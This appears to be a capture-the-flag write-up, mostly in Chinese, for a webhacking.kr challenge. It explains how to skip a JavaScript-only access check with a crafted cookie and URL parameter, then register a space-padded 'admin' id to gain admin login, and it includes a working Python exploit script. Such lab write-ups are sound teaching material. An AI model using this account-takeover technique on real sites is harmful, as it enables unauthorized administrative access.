Challenge
Bypass the JavaScript-only access check and create the admin
user.
绕过只存在于 JavaScript 中的访问控制,并创建 admin 用户。
1
| https://webhacking.kr/challenge/web-05/
|
Analysis
join.php 的表单由混淆 JavaScript 动态生成。脚本只在
Cookie 中出现 oldzombie 且 URL 包含 mode=1
时显示表单,这两个条件都在客户端执行,因此可以直接构造请求访问注册接口。
注册接口拒绝精确的 admin。可将 id 设为 20
个空格后接 admin,注册后再用 admin
登录;该边界行为依赖目标部署的字段截断与比较规则。
Solution
下面的脚本用同一个 session 完成注册和登录。REGISTER_ID
中的 20 个空格必须保留;直接在浏览器表单输入可能被
maxlength 截断,所以脚本直接发送 POST body。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| import os import sys
import requests
BASE_URL = os.environ.get( "OLD05_URL", "https://webhacking.kr/challenge/web-05" ) JOIN_URL = f"{BASE_URL}/mem/join.php?mode=1" LOGIN_URL = f"{BASE_URL}/mem/login.php" COOKIE_NAME = "oldzombie" REGISTER_ID = (" " * 20) + "admin" LOGIN_ID = "admin" PASSWORD = "1234"
def main() -> int: with requests.Session() as session: session.cookies.set(COOKIE_NAME, "hello") register = session.post( JOIN_URL, data={"id": REGISTER_ID, "pw": PASSWORD}, timeout=10, ) register.raise_for_status() print(register.text)
login = session.post( LOGIN_URL, data={"id": LOGIN_ID, "pw": PASSWORD}, timeout=10, ) login.raise_for_status() print(login.text) return 0
if __name__ == "__main__": sys.exit(main())
|
如果客户端或代理会裁剪前导空格,应确认原始 form body 仍包含 20
个空格后再发送。mode=1
只用于打开注册页面,oldzombie=hello 只用于通过 JavaScript
检查。
注册字段的前导空格数量取决于题目部署的字段长度与比较规则;复现时以目标响应确认服务端是否保留
20 个空格。